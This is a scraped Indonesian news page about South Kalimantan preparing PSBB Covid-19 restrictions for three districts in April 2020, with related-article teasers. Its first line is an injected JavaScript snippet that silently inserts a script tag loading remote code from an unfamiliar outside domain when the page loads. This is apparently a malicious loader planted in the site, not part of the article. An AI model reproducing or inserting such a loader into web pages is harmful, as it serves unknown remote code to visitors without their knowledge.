(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Juru Bicara Tim Gugus Tugas Pencegahan Penanganan (P2) Covid-19 Kalimantan Selatan Muhammad Muslim mengungkapkan, Pemprov Kalsel saat ini tengah menyiapkan tiga kabupaten dan kota di Kalsel untuk diajukan pembatasan sosial berskala besar (PSBB).
“Ada tiga daerah, yaitu satu kota dan dua kabupaten. Yaitu Kabupaten Banjar dan Barito Kuala serta Kota Banjarbaru, saat ini sedang kita siapkan dokumen PSBB dan sedang dilakukan verifikasi,†kata Muslim di Banjarbaru, Sabtu (25/4/2020) sore.
Kemudian, Kepala Dinkes Provinsi Kalsel ini membeberkan, dokumen pengajuan PSBB ini telah ditandatangani oleh Gubernur Kalsel H. Sahbirin Noor. Selanjutnya, akan diajukan ke Menteri Kesehatan RI dr. Terawan Agus Putranto untuk mendapatkan persetujuan untuk pelaksanaan PSBB.
Lalu, bagaimana evaluasi PSBB yang saat ini tengah dilaksanakan di Kota Banjarmasin? Menurut Muslim, jajarannya tentu akan melakukan evaluasi, terutama efektivitasnya.
“Di hari kedua ini memang masih terdapat berbagai hal yang bisa dikatakan belum disiplin. Di antaranya banyak masyarakat kita di Banjarmasin yang belum memanfaatkan masker selama berada di luar rumah,†aku Muslim.
Di samping itu, Muslim tidak menampik arus lalu lintas di kota seribu sungai ini masih padat seperti biasanya. “Mudah-mudahan dalam beberapa hari kedepan penegakan kedisiplinan terkait pelaksanaan PSBB akan dimantapkan,†harapnya.
Karena pada dasarnya, lanjut Muslim, PSBB adalah upaya dalam rangka memutus mata rantai penularan Covid-19. Dengan memberikan pembatasan di area tertentu, seperti angkutan, tempat kerumunan dan daerah tertentu yang dibatasi.
“Jika masih belum efektif, maka kita belum dapat melakukan upaya memutus mata rantai Covid-19 dengan efektif. Kami memohon kepada masyarakat agar mengikuti anjuran dan ketentuan yang disampaikan oleh Wali Kota Banjarmasin,†ucap Muslim.
Ia mengajak masyarakat untuk mematuhi anjuran selama pemberlakuan PSBB, seperti tetap berada di dalam rumah. Apalagi, saat ini sudah memasuki bulan suci Ramadhan. “Saatnya kita lebih banyak beribadah di rumah, melakukan berbagai ibadah baik itu tadarusan, tarawih, dan lain lain. Agar dapat optimal lakukan di rumah saja,†pungkasnya. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.